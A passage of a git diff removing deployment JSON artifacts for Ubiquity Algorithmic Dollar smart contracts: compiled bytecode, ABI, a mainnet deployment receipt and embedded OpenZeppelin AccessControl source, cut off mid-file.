"0x608060405234801561001057600080fd5b5060405161119538038061119583398101604081905261002f91610054565b600080546001600160a01b0319166001600160a01b0392909216919091179055610082565b600060208284031215610065578081fd5b81516001600160a01b038116811461007b578182fd5b9392505050565b611104806100916000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c8063481c6a751461003b5780639172dd231461006b575b600080fd5b60005461004e906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b61007e6100793660046110c7565b61008c565b604051908152602001610062565b60008060009054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b1580156100db57600080fd5b505afa1580156100ef573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061011391906110a0565b6001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561014b57600080fd5b505afa15801561015f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061018391906110df565b60008054906101000a90046001600160a01b03166001600160a01b03166356593ea36040518163ffffffff1660e01b815260040160206040518083038186803b1580156101cf57600080fd5b505afa1580156101e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061020791906110a0565b6001600160a01b031663db87b1ff6040518163ffffffff1660e01b815260040160206040518083038186803b15801561023f57600080fd5b505afa158015610253573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061027791906110df565b106102c85760405162461bcd60e51b815260206004820152601f60248201527f436f75706f6e20746f20646f6c6c61723a20444542545f544f4f5f4849474800604482015260640160405180910390fd5b60006102d46001610540565b905060006103d460008054906101000a90046001600160a01b03166001600160a01b03166356593ea36040518163ffffffff1660e01b815260040160206040518083038186803b15801561032757600080fd5b505afa15801561033b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061035f91906110a0565b6001600160a01b031663db87b1ff6040518163ffffffff1660e01b815260040160206040518083038186803b15801561039757600080fd5b505afa1580156103ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103cf91906110df565b610540565b905060006104ab61049a60008054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b15801561042a57600080fd5b505afa15801561043e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061046291906110a0565b6001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561039757600080fd5b6001600160801b03198416906105a5565b905060006104ea6104c66001600160801b03198616846108cf565b6104da6001600160801b03198716856108cf565b6001600160801b031916906108e8565b905060006105026001600160801b03198616836105a5565b905061053361052461051389610540565b6001600160801b03198416906108e8565b6001600160801b031916610b5f565b955050505050505b919050565b60008161054f5750600061053b565b81600061055b82610be3565b90506070811015610574578060700382901b9150610587565b6070811115610587576070810382901c91505b613fff0160701b6001600160701b03919091161760801b905061053b565b6000617fff60f084811c8216919084901c8116908214156105eb5780617fff14156105da575061ffff60ef1b91506108c99050565b505050600160ff1b811682186108c9565b80617fff141561063c577dffffffffffffffffffffffffffff0000000000000000000000000000000084161561062b575061ffff60ef1b91506108c99050565b505050808218600160ff1b166108c9565b6f7fffffffffffffffffffffffffffffff60801b8416610698576f7fffffffffffffffffffffffffffffff60801b8516610680575061ffff60ef1b91506108c99050565b505050808218600160ff1b16617fff60f01b176108c9565b6001600160701b03608085901c16816106b457600191506106bb565b600160701b175b6001600160701b03608087901c16836106fa5780156106f55760006106df82610be3565b6001955060e20393840160711901939190911b90505b610704565b600160701b1760721b5b81818161072157634e487b7160e01b600052601260045260246000fd5b0490508061074e57600160ff1b8787181661073d576000610743565b600160ff1b5b9450505050506108c9565b6d100000000000000000000000000081101561077a57634e487b7160e01b600052600160045260246000fd5b60006e0800000000000000000000000000008210156107db576e0400000000000000000000000000008210156107d0576e0200000000000000000000000000008210156107c85760706107cb565b60715b6107d3565b60725b60ff166107e4565b6107e482610be3565b90508361407101818601111561080257617fff945060009150610895565b83818601613ffc01101561081d576000945060009150610895565b83818601613f8c01101561086a578385613ffc011115610848578385613ffc010382901b9150610861565b8385613ffc01101561086157613ffc8585030382901c91505b60009450610895565b607081111561087d576070810382901c91505b6001600160701b038216915083818601613f8d010394505b81607086901b888a186001607f1b60801b1660801c6fffffffffffffffffffffffffffffffff16171760801b955050505050505b92915050565b60006108e183600160ff1b8418610c93565b9392505050565b6000617fff60f084811c8216919084901c8116908214156109905780617fff1415610966576001600160801b0319858116908516141561093357505050600160ff1b811682186108c9565b600160ff1b6001600160801b0319868618161415610956575050508181176108c9565b5061ffff60ef1b91506108c99050565b6f7fffffffffffffffffffffffffffffff60801b84166105da575061ffff60ef1b91506108c99050565b80617fff14156109d5576f7fffffffffffffffffffffffffffffff60801b85166109c4575061ffff60ef1b91506108c99050565b505050600160ff1b821681186108c9565b6001600160701b03608086901c16826109f157600192506109f8565b600160701b175b6001600160701b03608086901c1682610a145760019250610a1b565b600160701b175b9081029081610a3857600160ff1b8787181661073d576000610743565b928201926000600160e11b831015610a6c57600160e01b831015610a6457610a5f83610be3565b610a67565b60e05b610a6f565b60e15b90506140708186011015610a8a576000945060009250610b27565b6140e08186011015610acd57614070851015610aaf57846140700383901c9250610ac4565b614070851115610ac457614070850383901b92505b60009450610b27565b61c0dd8186011115610ae757617fff945060009250610b27565b6070811115610afe576070810383901c9250610b11565b6070811015610b11578060700383901b92505b6001600160701b03831692506140df8186010394505b82607086901b888a186001607f1b60801b1660801c6fffffffffffffffffffffffffffffffff16171760801b955050505050506108c9565b6000617fff60f083901c16613fff811015610b7e57600091505061053b565b6001607f1b608084901c10610b9257600080fd5b6140fe811115610ba157600080fd5b600160701b6001600160701b03608085901c161761406f821015610bcb5761406f8290031c6108e1565b61406f8211156108e15761406e1982011b9392505050565b6000808211610bf157600080fd5b60007001000000000000000000000000000000008310610c1357608092831c92015b680100000000000000008310610c2b57604092831c92015b6401000000008310610c3f57602092831c92015b620100008310610c5157601092831c92015b6101008310610c6257600892831c92015b60108310610c7257600492831c92015b60048310610c8257600292831c92015b600283106108c95760010192915050565b6000617fff60f084811c8216919084901c811690821415610ce15780617fff1415610cd7576001600160801b031985811690851614156109565784925050506108c9565b84925050506108c9565b80617fff1415610cf55783925050506108c9565b6001607f1b608086901c90811015906001600160701b031683610d1b5760019350610d22565b600160701b175b6001607f1b608087901c90811015906001600160701b031684610d485760019450610d4f565b600160701b175b82610d7f576001600160801b03198816600160ff1b14610d6f5787610d72565b60005b96505050505050506108c9565b80610d9f576001600160801b03198916600160ff1b14610d6f5788610d72565b8486038415158315151415610ed6576070811315610dc657899750505050505050506108c9565b6000811315610dd85790811c90610e07565b606f19811215610df157889750505050505050506108c9565b6000811215610e07578060000384901c93508596505b928101926e0200000000000000000000000000008410610e2d576001968701969390931c925b86617fff1415610e775784610e4757617fff60f01b610e69565b7fffff0000000000000000000000000000000000000000000000000000000000005b9750505050505050506108c9565b600160701b841015610e8c5760009650610e99565b6001600160701b03841693505b83607088901b86610eab576000610eb1565b6001607f1b5b6fffffffffffffffffffffffffffffffff16171760801b9750505050505050506108c9565b6000811315610ef157600184901b9350600187039650610f08565b6000811215610f0857600182901b91506001860396505b6070811315610f1a5760019150610f67565b6001811315610f37576001810360018303901c6001019150610f67565b606f19811215610f4a5760019350610f67565b600019811215610f67576001816000030360018503901c60010193505b818410610f78578184039350610f81565b83820393508294505b83610f975750600096506108c995505050505050565b6000610fa285610be3565b90508060711415610fc857600185901c6001600160701b03169450600188019750611017565b607081101561100a57607081900380891115610ff7578086901b6001600160701b031695508089039850611004565b600098600019019590951b945b50611017565b6001600160701b03851694505b87617fff1415611062578561103157617fff60f01b611053565b7fffff0000000000000000000000000000000000000000000000000000000000005b985050505050505050506108c9565b84607089901b8761107457600061107a565b6001607f1b5b6fffffffffffffffffffffffffffffffff16171760801b985050505050505050506108c9565b6000602082840312156110b1578081fd5b81516001600160a01b03811681146108e1578182fd5b6000602082840312156110d8578081fd5b5035919050565b6000602082840312156110f0578081fd5b505191905056fea164736f6c6343000803000a", - "deployedBytecode": "0x608060405234801561001057600080fd5b50600436106100365760003560e01c8063481c6a751461003b5780639172dd231461006b575b600080fd5b60005461004e906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b61007e6100793660046110c7565b61008c565b604051908152602001610062565b60008060009054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b1580156100db57600080fd5b505afa1580156100ef573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061011391906110a0565b6001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561014b57600080fd5b505afa15801561015f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061018391906110df565b60008054906101000a90046001600160a01b03166001600160a01b03166356593ea36040518163ffffffff1660e01b815260040160206040518083038186803b1580156101cf57600080fd5b505afa1580156101e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061020791906110a0565b6001600160a01b031663db87b1ff6040518163ffffffff1660e01b815260040160206040518083038186803b15801561023f57600080fd5b505afa158015610253573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061027791906110df565b106102c85760405162461bcd60e51b815260206004820152601f60248201527f436f75706f6e20746f20646f6c6c61723a20444542545f544f4f5f4849474800604482015260640160405180910390fd5b60006102d46001610540565b905060006103d460008054906101000a90046001600160a01b03166001600160a01b03166356593ea36040518163ffffffff1660e01b815260040160206040518083038186803b15801561032757600080fd5b505afa15801561033b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061035f91906110a0565b6001600160a01b031663db87b1ff6040518163ffffffff1660e01b815260040160206040518083038186803b15801561039757600080fd5b505afa1580156103ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103cf91906110df565b610540565b905060006104ab61049a60008054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b15801561042a57600080fd5b505afa15801561043e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061046291906110a0565b6001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561039757600080fd5b6001600160801b03198416906105a5565b905060006104ea6104c66001600160801b03198616846108cf565b6104da6001600160801b03198716856108cf565b6001600160801b031916906108e8565b905060006105026001600160801b03198616836105a5565b905061053361052461051389610540565b6001600160801b03198416906108e8565b6001600160801b031916610b5f565b955050505050505b919050565b60008161054f5750600061053b565b81600061055b82610be3565b90506070811015610574578060700382901b9150610587565b6070811115610587576070810382901c91505b613fff0160701b6001600160701b03919091161760801b905061053b565b6000617fff60f084811c8216919084901c8116908214156105eb5780617fff14156105da575061ffff60ef1b91506108c99050565b505050600160ff1b811682186108c9565b80617fff141561063c577dffffffffffffffffffffffffffff0000000000000000000000000000000084161561062b575061ffff60ef1b91506108c99050565b505050808218600160ff1b166108c9565b6f7fffffffffffffffffffffffffffffff60801b8416610698576f7fffffffffffffffffffffffffffffff60801b8516610680575061ffff60ef1b91506108c99050565b505050808218600160ff1b16617fff60f01b176108c9565b6001600160701b03608085901c16816106b457600191506106bb565b600160701b175b6001600160701b03608087901c16836106fa5780156106f55760006106df82610be3565b6001955060e20393840160711901939190911b90505b610704565b600160701b1760721b5b81818161072157634e487b7160e01b600052601260045260246000fd5b0490508061074e57600160ff1b8787181661073d576000610743565b600160ff1b5b9450505050506108c9565b6d100000000000000000000000000081101561077a57634e487b7160e01b600052600160045260246000fd5b60006e0800000000000000000000000000008210156107db576e0400000000000000000000000000008210156107d0576e0200000000000000000000000000008210156107c85760706107cb565b60715b6107d3565b60725b60ff166107e4565b6107e482610be3565b90508361407101818601111561080257617fff945060009150610895565b83818601613ffc01101561081d576000945060009150610895565b83818601613f8c01101561086a578385613ffc011115610848578385613ffc010382901b9150610861565b8385613ffc01101561086157613ffc8585030382901c91505b60009450610895565b607081111561087d576070810382901c91505b6001600160701b038216915083818601613f8d010394505b81607086901b888a186001607f1b60801b1660801c6fffffffffffffffffffffffffffffffff16171760801b955050505050505b92915050565b60006108e183600160ff1b8418610c93565b9392505050565b6000617fff60f084811c8216919084901c8116908214156109905780617fff1415610966576001600160801b0319858116908516141561093357505050600160ff1b811682186108c9565b600160ff1b6001600160801b0319868618161415610956575050508181176108c9565b5061ffff60ef1b91506108c99050565b6f7fffffffffffffffffffffffffffffff60801b84166105da575061ffff60ef1b91506108c99050565b80617fff14156109d5576f7fffffffffffffffffffffffffffffff60801b85166109c4575061ffff60ef1b91506108c99050565b505050600160ff1b821681186108c9565b6001600160701b03608086901c16826109f157600192506109f8565b600160701b175b6001600160701b03608086901c1682610a145760019250610a1b565b600160701b175b9081029081610a3857600160ff1b8787181661073d576000610743565b928201926000600160e11b831015610a6c57600160e01b831015610a6457610a5f83610be3565b610a67565b60e05b610a6f565b60e15b90506140708186011015610a8a576000945060009250610b27565b6140e08186011015610acd57614070851015610aaf57846140700383901c9250610ac4565b614070851115610ac457614070850383901b92505b60009450610b27565b61c0dd8186011115610ae757617fff945060009250610b27565b6070811115610afe576070810383901c9250610b11565b6070811015610b11578060700383901b92505b6001600160701b03831692506140df8186010394505b82607086901b888a186001607f1b60801b1660801c6fffffffffffffffffffffffffffffffff16171760801b955050505050506108c9565b6000617fff60f083901c16613fff811015610b7e57600091505061053b565b6001607f1b608084901c10610b9257600080fd5b6140fe811115610ba157600080fd5b600160701b6001600160701b03608085901c161761406f821015610bcb5761406f8290031c6108e1565b61406f8211156108e15761406e1982011b9392505050565b6000808211610bf157600080fd5b60007001000000000000000000000000000000008310610c1357608092831c92015b680100000000000000008310610c2b57604092831c92015b6401000000008310610c3f57602092831c92015b620100008310610c5157601092831c92015b6101008310610c6257600892831c92015b60108310610c7257600492831c92015b60048310610c8257600292831c92015b600283106108c95760010192915050565b6000617fff60f084811c8216919084901c811690821415610ce15780617fff1415610cd7576001600160801b031985811690851614156109565784925050506108c9565b84925050506108c9565b80617fff1415610cf55783925050506108c9565b6001607f1b608086901c90811015906001600160701b031683610d1b5760019350610d22565b600160701b175b6001607f1b608087901c90811015906001600160701b031684610d485760019450610d4f565b600160701b175b82610d7f576001600160801b03198816600160ff1b14610d6f5787610d72565b60005b96505050505050506108c9565b80610d9f576001600160801b03198916600160ff1b14610d6f5788610d72565b8486038415158315151415610ed6576070811315610dc657899750505050505050506108c9565b6000811315610dd85790811c90610e07565b606f19811215610df157889750505050505050506108c9565b6000811215610e07578060000384901c93508596505b928101926e0200000000000000000000000000008410610e2d576001968701969390931c925b86617fff1415610e775784610e4757617fff60f01b610e69565b7fffff0000000000000000000000000000000000000000000000000000000000005b9750505050505050506108c9565b600160701b841015610e8c5760009650610e99565b6001600160701b03841693505b83607088901b86610eab576000610eb1565b6001607f1b5b6fffffffffffffffffffffffffffffffff16171760801b9750505050505050506108c9565b6000811315610ef157600184901b9350600187039650610f08565b6000811215610f0857600182901b91506001860396505b6070811315610f1a5760019150610f67565b6001811315610f37576001810360018303901c6001019150610f67565b606f19811215610f4a5760019350610f67565b600019811215610f67576001816000030360018503901c60010193505b818410610f78578184039350610f81565b83820393508294505b83610f975750600096506108c995505050505050565b6000610fa285610be3565b90508060711415610fc857600185901c6001600160701b03169450600188019750611017565b607081101561100a57607081900380891115610ff7578086901b6001600160701b031695508089039850611004565b600098600019019590951b945b50611017565b6001600160701b03851694505b87617fff1415611062578561103157617fff60f01b611053565b7fffff0000000000000000000000000000000000000000000000000000000000005b985050505050505050506108c9565b84607089901b8761107457600061107a565b6001607f1b5b6fffffffffffffffffffffffffffffffff16171760801b985050505050505050506108c9565b6000602082840312156110b1578081fd5b81516001600160a01b03811681146108e1578182fd5b6000602082840312156110d8578081fd5b5035919050565b6000602082840312156110f0578081fd5b505191905056fea164736f6c6343000803000a", - "devdoc": { - "kind": "dev", - "methods": { - "constructor": { - "params": { - "_manager": "the address of the manager/config contract so we can fetch variables" - } - } - }, - "title": "Uses the following formula: ((1/(1-R)^2) - 1)", - "version": 1 - }, - "userdoc": { - "kind": "user", - "methods": {}, - "version": 1 - }, - "storageLayout": { - "storage": [ - { - "astId": 5287, - "contract": "contracts/CouponsForDollarsCalculator.sol:CouponsForDollarsCalculator", - "label": "manager", - "offset": 0, - "slot": "0", - "type": "t_contract(UbiquityAlgorithmicDollarManager)10304" - } - ], - "types": { - "t_contract(UbiquityAlgorithmicDollarManager)10304": { - "encoding": "inplace", - "label": "contract UbiquityAlgorithmicDollarManager", - "numberOfBytes": "20" - } - } - } -} diff --git a/packages/contracts/dollar/deployments/mainnet/CurveUADIncentive.json b/packages/contracts/dollar/deployments/mainnet/CurveUADIncentive.json deleted file mode 100644 index d848a70be..000000000 --- a/packages/contracts/dollar/deployments/mainnet/CurveUADIncentive.json +++ /dev/null @@ -1,275 +0,0 @@ -{ - "address": "0x86965cdB680350C5de2Fd8D28055DecDDD52745E", - "abi": [ - { - "inputs": [ - { - "internalType": "address", - "name": "_manager", - "type": "address" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "_account", - "type": "address" - }, - { - "indexed": false, - "internalType": "bool", - "name": "_isExempt", - "type": "bool" - } - ], - "name": "ExemptAddressUpdate", - "type": "event" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "sender", - "type": "address" - }, - { - "internalType": "address", - "name": "receiver", - "type": "address" - }, - { - "internalType": "address", - "name": "", - "type": "address" - }, - { - "internalType": "uint256", - "name": "amountIn", - "type": "uint256" - } - ], - "name": "incentivize", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "isBuyIncentiveOn", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "isExemptAddress", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "isSellPenaltyOn", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "manager", - "outputs": [ - { - "internalType": "contract UbiquityAlgorithmicDollarManager", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "internalType": "bool", - "name": "isExempt", - "type": "bool" - } - ], - "name": "setExemptAddress", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "switchBuyIncentive", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "switchSellPenalty", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - } - ], - "transactionHash": "0x361a66044f4e8c50fa1024e754bf9b4b2b1e83e04d85594566ccf513adfd5b2b", - "receipt": { - "to": null, - "from": "0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd", - "contractAddress": "0x86965cdB680350C5de2Fd8D28055DecDDD52745E", - "transactionIndex": 15, - "gasUsed": "1661675", - "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - "blockHash": "0xadc0d5fef31c5c54c7a74d1c3754acd55f9ed85c7201651019f4fdfde1143651", - "transactionHash": "0x361a66044f4e8c50fa1024e754bf9b4b2b1e83e04d85594566ccf513adfd5b2b", - "logs": [], - "blockNumber": 12595545, - "cumulativeGasUsed": "3558777", - "status": 1, - "byzantium": true - }, - "args": ["0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98"], - "solcInputHash": "718dfe5f2e9bb98c22443f71ab0527e0", - "metadata": "{\"compiler\":{\"version\":\"0.8.3+commit.8d00100c\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_manager\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_account\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"bool\",\"name\":\"_isExempt\",\"type\":\"bool\"}],\"name\":\"ExemptAddressUpdate\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"sender\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"receiver\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amountIn\",\"type\":\"uint256\"}],\"name\":\"incentivize\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"isBuyIncentiveOn\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"isExemptAddress\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"isSellPenaltyOn\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"manager\",\"outputs\":[{\"internalType\":\"contract UbiquityAlgorithmicDollarManager\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"},{\"internalType\":\"bool\",\"name\":\"isExempt\",\"type\":\"bool\"}],\"name\":\"setExemptAddress\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"switchBuyIncentive\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"switchSellPenalty\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"author\":\"uAD Protocol\",\"details\":\"incentives\",\"kind\":\"dev\",\"methods\":{\"constructor\":{\"params\":{\"_manager\":\"uAD Manager\"}},\"setExemptAddress(address,bool)\":{\"params\":{\"account\":\"the address to update\",\"isExempt\":\"a flag for whether to exempt or unexempt\"}}},\"title\":\"Uniswap trading incentive contract\",\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"constructor\":{\"notice\":\"CurveIncentive constructor\"},\"isExemptAddress(address)\":{\"notice\":\"returns true if account is marked as exempt\"},\"setExemptAddress(address,bool)\":{\"notice\":\"set an address to be exempted from Uniswap trading incentives\"},\"switchBuyIncentive()\":{\"notice\":\"switch the buy incentive\"},\"switchSellPenalty()\":{\"notice\":\"switch the sell penalty\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"contracts/CurveUADIncentive.sol\":\"CurveUADIncentive\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"none\",\"useLiteralContent\":true},\"optimizer\":{\"enabled\":true,\"runs\":800},\"remappings\":[]},\"sources\":{\"@openzeppelin/contracts/access/AccessControl.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../utils/Context.sol\\\";\\nimport \\\"../utils/Strings.sol\\\";\\nimport \\\"../utils/introspection/ERC165.sol\\\";\\n\\n/**\\n * @dev External interface of AccessControl declared to support ERC165 detection.\\n */\\ninterface IAccessControl {\\n function hasRole(bytes32 role, address account) external view returns (bool);\\n function getRoleAdmin(bytes32 role) external view returns (bytes32);\\n function grantRole(bytes32 role, address account) external;\\n function revokeRole(bytes32 role, address account) external;\\n function renounceRole(bytes32 role, address account) external;\\n}\\n\\n/**\\n * @dev Contract module that allows children to implement role-based access\\n * control mechanisms. This is a lightweight version that doesn't allow enumerating role\\n * members except through off-chain means by accessing the contract event logs. Some\\n * applications may benefit from on-chain enumerability, for those cases see\\n * {AccessControlEnumerable}.\\n *\\n * Roles are referred to by their `bytes32` identifier. These should be exposed\\n * in the external API and be unique. The best way to achieve this is by\\n * using `public constant` hash digests:\\n *\\n * ```\\n * bytes32 public constant MY_ROLE = keccak256(\\\"MY_ROLE\\\");\\n * ```\\n *\\n * Roles can be used to represent a set of permissions. To restrict access to a\\n * function call, use {hasRole}:\\n *\\n * ```\\n * function foo() public {\\n * require(hasRole(MY_ROLE, msg.sender));\\n * ...\\n * }\\n * ```\\n *\\n * Roles can be granted and revoked dynamically via the {grantRole} and\\n * {revokeRole} functions. Each role has an associated admin role, and only\\n * accounts that have a role's admin role can call {grantRole} and {revokeRole}.\\n *\\n * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means\\n * that only accounts with this role will be able to grant or revoke other\\n * roles. More complex role relationships can be created by using\\n * {_setRoleAdmin}.\\n *\\n * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to\\n * grant and revoke this role. Extra precautions should be taken to secure\\n * accounts that have been granted it.\\n */\\nabstract contract AccessControl is Context, IAccessControl, ERC165 {\\n struct RoleData {\\n mapping (address => bool) members;\\n bytes32 adminRole;\\n }\\n\\n mapping (bytes32 => RoleData) private _roles;\\n\\n bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;\\n\\n /**\\n * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`\\n *\\n * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite\\n * {RoleAdminChanged} not being emitted signaling this.\\n *\\n * _Available since v3.1._\\n */\\n event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);\\n\\n /**\\n * @dev Emitted when `account` is granted `role`.\\n *\\n * `sender` is the account that originated the contract call, an admin role\\n * bearer except when using {_setupRole}.\\n */\\n event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);\\n\\n /**\\n * @dev Emitted when `account` is revoked `role`.\\n *\\n * `sender` is the account that originated the contract call:\\n * - if using `revokeRole`, it is the admin role bearer\\n * - if using `renounceRole`, it is the role bearer (i.e. `account`)\\n */\\n event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);\\n\\n /**\\n * @dev Modifier that checks that an account has a specific role. Reverts\\n * with a standardized message including the required role.\\n *\\n * The format of the revert reason is given by the following regular expression:\\n *\\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\\n *\\n * _Available since v4.1._\\n */\\n modifier onlyRole(bytes32 role) {\\n _checkRole(role, _msgSender());\\n _;\\n }\\n\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IAccessControl).interfaceId\\n || super.supportsInterface(interfaceId);\\n }\\n\\n /**\\n * @dev Returns `true` if `account` has been granted `role`.\\n */\\n function hasRole(bytes32 role, address account) public view override returns (bool) {\\n return _roles[role].members[account];\\n }\\n\\n /**\\n * @dev Revert with a standard message if `account` is missing `role`.\\n *\\n * The format of the revert reason is given by the following regular expression:\\n *\\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\\n */\\n function _checkRole(bytes32 role, address account) internal view {\\n if(!hasRole(role, account)) {\\n revert(string(abi.encodePacked(\\n \\\"AccessControl: account \\\",\\n Strings.toHexString(uint160(account), 20),\\n \\\" is missing role \\\",\\n Strings.toHexString(uint256(role), 32)\\n )));\\n }\\n }\\n\\n /**\\n * @dev Returns the admin role that controls `role`. See {grantRole} and\\n * {revokeRole}.\\n *\\n * To change a role's admin, use {_setRoleAdmin}.\\n */\\n function getRoleAdmin(bytes32 role) public view override returns (bytes32) {\\n return _roles[role].adminRole;\\n }\\n\\n /**\\n * @dev Grants `role` to `account`.\\n *\\n * If `account` had not been already granted `role`, emits a {RoleGranted}\\n * event.\\n *\\n * Requirements:\\n *\\n * - the caller must have ``role``'s admin role.\\n */\\n function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\\n _grantRole(role, account);\\n }\\n\\n /**\\n * @dev Revokes `role` from `account`.\\n *\\n * If `account` had been granted `role`, emits a {RoleRevoked} event.\\n *\\n * Requirements:\\n *\\n * - the caller must have ``role``'s admin role.\\n */\\n function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\\n _revokeRole(role, account);\\n }\\n\\n /**\\n * @dev Revokes `role` from the calling account.\\n *\\n * Roles are often managed via {grantRole} and {revokeRole}: this function's\\n * purpose is to provide a mechanism for accounts to lose their privileges\\n * if they are compromised (such as when a trusted device is misplaced).\\n *\\n * If the calling account had been granted `role`, emits a {RoleRevoked}\\n * event.\\n *\\n * Requirements:\\n *\\n * - the caller must be `account`.\\n */\\n function renounceRole(bytes32 role, address account) public virtual override {\\n require(account == _msgSender(), \\\"AccessControl: can only renounce roles for self\\\");\\n\\n _revokeRole(role, account);\\n }\\n\\n /**\\n * @dev Grants `role` to `account`.\\n *\\n * If `account` had not been already granted `role`, emits a {RoleGranted}\\n * event. Note that unlike {grantRole}, this function doesn't perform any\\n * checks on the calling account.\\n *\\n * [WARNING]\\n * ====\\n * This function should only be called from the constructor when setting\\n * up the initial roles for the system.\\n *\\n * Using this function in any other way is effectively circumventing the admin\\n * system imposed by {AccessControl}.\\n * ====\\n */\\n function _setupRole(bytes32 role, address account) internal virtual {\\n 